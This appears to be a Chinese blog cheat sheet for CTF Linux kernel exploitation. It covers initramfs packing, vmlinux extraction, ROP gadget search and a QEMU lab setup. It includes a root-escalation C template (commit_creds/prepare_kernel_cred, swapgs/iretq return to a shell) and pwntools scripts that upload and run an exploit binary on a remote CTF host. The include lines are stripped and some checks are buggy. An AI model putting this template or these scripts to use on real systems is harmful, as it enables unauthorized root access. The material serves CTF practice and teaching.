kernel_pwn 常用指令(不定时更新)

首先给出用于打包的脚本:
#!/bin/sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > $1 
mv $1 ..

这个脚本放在一个喜欢的位置
然后:

sudo ln -s 文件位置  /usr/local/bin/gen

使用的时候直接gen 文件名就好

解包推荐安装unar,万能解压神器,也可以用下面的脚本
#!/bin/bash
mv $1 $1.gz
unar $1.gz
mv $1 core
mv $1.gz $1
echo "[+]Successful"

使用的时候:

hen core.cpio#这里我给的命令是hen
当程序没有给出vmlinux(相当于libc),可以使用下面的脚本进行获取:
#!/bin/sh
# SPDX-License-Identifier: GPL-2.0-only
# ----------------------------------------------------------------------
# extract-vmlinux - Extract uncompressed vmlinux from a kernel image
#
# Inspired from extract-ikconfig
# (c) 2009,2010 Dick Streefland 
#
# (c) 2011      Corentin Chary 
#
# ----------------------------------------------------------------------

check_vmlinux()
{
    # Use readelf to check if it's a valid ELF
    # TODO: find a better to way to check that it's really vmlinux
    #       and not just an elf
    readelf -h $1 > /dev/null 2>&1 || return 1

    cat $1
    exit 0
}

try_decompress()
{
    # The obscure use of the "tr" filter is to work around older versions of
    # "grep" that report the byte offset of the line instead of the pattern.

    # Try to find the header ($1) and decompress from here
    for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"`
    do
        pos=${pos%%:*}
        tail -c+$pos "$img" | $3 > $tmp 2> /dev/null
        check_vmlinux $tmp
    done
}

# Check invocation:
me=${0##*/}
img=$1
if  [ $# -ne 1 -o ! -s "$img" ]
then
    echo "Usage: $me " >&2
    exit 2
fi

# Prepare temp files:
tmp=$(mktemp /tmp/vmlinux-XXX)
trap "rm -f $tmp" 0

# That didn't work, so retry after decompression.
try_decompress '\037\213\010' xy    gunzip
try_decompress '\3757zXZ\000' abcde unxz
try_decompress 'BZh'          xy    bunzip2
try_decompress '\135\0\0\0'   xxx   unlzma
try_decompress '\211\114\132' xy    'lzop -d'
try_decompress '\002!L\030'   xxx   'lz4 -d'
try_decompress '(\265/\375'   xxx   unzstd

# Finally check for uncompressed images or objects:
check_vmlinux $img

# Bail out:
echo "$me: Cannot find vmlinux." >&2

和上面一样,建立软连接的时候选择自己喜欢的指令就好,这里我选则的是vml
因此直接:

vml bzImage > vmlinux
在寻找gadget的时候一般使用ropper和ROPgadget来获得gadget,还可以用下面的来获得gadget:
#!/bin/sh
objdump -d $1 -M intel | grep -E $2
echo "Done"

还是要建立一个软连接,可以自定义喜欢的名字,这里我选的是lgadget
用法:

lgadget vmlinux "pop|ret"|grep "rdi"

但是不知道为什么虽然速度很快,但是的确很难找,因此推荐使用ropper,也就两分钟就可以找到所有的gadget

在ubuntu16下ropper有点难安装,可以用如下命令进行安装
git clone https://github.com/sashs/ropper.git
cd ropper
git submodule init
git submodule update
./Ropper.py
git clone https://github.com/sashs/filebytes.git
cd filebytes
sudo python setup.py install
sudo ln -s ~/ropper/Ropper.py /usr/local/bin/ropper

使用:(以查找pop|ret为例)

ropper -f vmlinux --nocolor > g1.txt
grep 'pop rdi; ret;' g1.txt
init:
#!/bin/sh
#挂在指令
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
#在kernle中我们一般使用commit_creds(prepare_kernel_cred(0))来提权
#这个相当于用户态的system("sh")
#在proc/kallsyms存放着我们需要的函数,因此可以直接在窗口用
#cat /proc/kallsyms |grep commit_cred来寻找函数地址
#可以使用lsmod来显示程序基地址
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
#这里加载了一个驱动一般是需要pwn 的文件
insmod /core.ko

#poweroff -d 120 -f & #注释掉
setsid /bin/cttyhack setuidgid 1000 /bin/sh #这里把1换成0可以再我们调试的时候直接root权限即
#setsid /bin/cttyhack setuidgid 0000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

start.sh

qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd  ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \
-gdb tcp::2222 //这里用来调试,调试的时候先gdb ./vmlinux -q,进入之后add-symbols-file 漏洞文件 程序基地址(lsmod)

可以用如下两个函数来保存寄存器状态,其中第一个在编译的时候需要加一个-masm=intel

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}

// at&t flavor assembly
void save_stats() {
asm(
    "movq %%cs, %0\n"
    "movq %%ss, %1\n"
    "movq %%rsp, %3\n"
    "pushfq\n"
    "popq %2\n"
    :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
    :
    : "memory"
);
}

动态寻找函数地址:

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

shell

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
        printf("[+]Get Root!");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}

模板:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
size_t user_cs, user_ss, user_rflags, user_sp;
size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t vmlinux_base = 0;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    puts("[*]status has been saved.");
}
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");
    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }

    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;

        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }

        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
        }
    }

    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }

}

void get_shell(void){
    system("/bin/sh");
}

void get_root()
{
    char* (*pkc)(int) = prepare_kernel_cred;
    void (*cc)(char*) = commit_creds;
    (*cc)((*pkc)(0));
}
void spawn_shell()
{
    if(!getuid())
    {
        puts("Get shell");
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}
int exp(){
    get_root();
    __asm__(
        "push user_ss;"
        "push user_sp;"
        "push user_rflags;"
        "push user_cs;"
        "push spawn_shell;"
        "swapgs;"
        "iretq;"
     );
}
int main()
{
    save_status();
    signal(SIGSEGV, spawn_shell);
    signal(SIGTRAP, spawn_shell);
    int fd = open("file",2);
    if(fd < 0){
        puts("open error");
        exit(0);
    }
}

下断点:
在ida里面我们看到的都是开了kaslr显示的数据,(相当于开了pie),因此可以像以前下断点那样下b*(codebase+偏移地址),其中codebase就是程序加载基地址,用lsmod即可查看

寻找cred结构体大小的方法,root权限通过:
cat /proc/kallsyms |grep "cred_init"

然后将所得地址的后几位记下来,将vmlinux导入ida,查找后几位得到cred的大小


上传脚本:

需要在当前目录下创建一个poc文件并将其中的c代码命名为exp.c

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import os

# context.log_level = 'debug'
cmd = '$ '


def exploit(r):
    r.sendlineafter(cmd, 'stty -echo')
    os.system('musl-gcc  -static -O2 ./poc/exp.c -o ./poc/exp -masm=intel')
    os.system('gzip -c ./poc/exp > ./poc/exp.gz')
    r.sendlineafter(cmd, 'cat < exp.gz.b64')
    r.sendline((read('./poc/exp.gz')).encode('base64'))
    r.sendline('EOF')
    r.sendlineafter(cmd, 'base64 -d exp.gz.b64 > exp.gz')
    r.sendlineafter(cmd, 'gunzip ./exp.gz')
    r.sendlineafter(cmd, 'chmod +x ./exp')
    r.sendlineafter(cmd, './exp')
    r.interactive()


# p = process('./startvm.sh', shell=True)
p = remote('nc.eonew.cn',10100)

exploit(p)

上传脚本2:

#coding:utf8
from pwn import *
import base64
context.log_level = 'debug'
os.system("musl-gcc 1.c -o exp --static")
sh = remote('127.0.0.1',5555)
 
f = open('./exp','rb')
content = f.read()
total = len(content)
f.close()
per_length = 0x200;
sh.sendlineafter('# ','touch /tmp/exploit')
for i in range(0,total,per_length):
   bstr = base64.b64encode(content[i:i+per_length])
   sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
if total - i > 0:
   bstr = base64.b64encode(content[total-i:total])
   sh.sendlineafter('# ','echo {} | base64 -d >> /tmp/exploit'.format(bstr))
 
sh.sendlineafter('# ','chmod +x /tmp/exploit')
sh.sendlineafter('# ','/tmp/exploit')
 
 
sh.interactive()

你可能感兴趣的:(kernel_pwn 常用指令(不定时更新))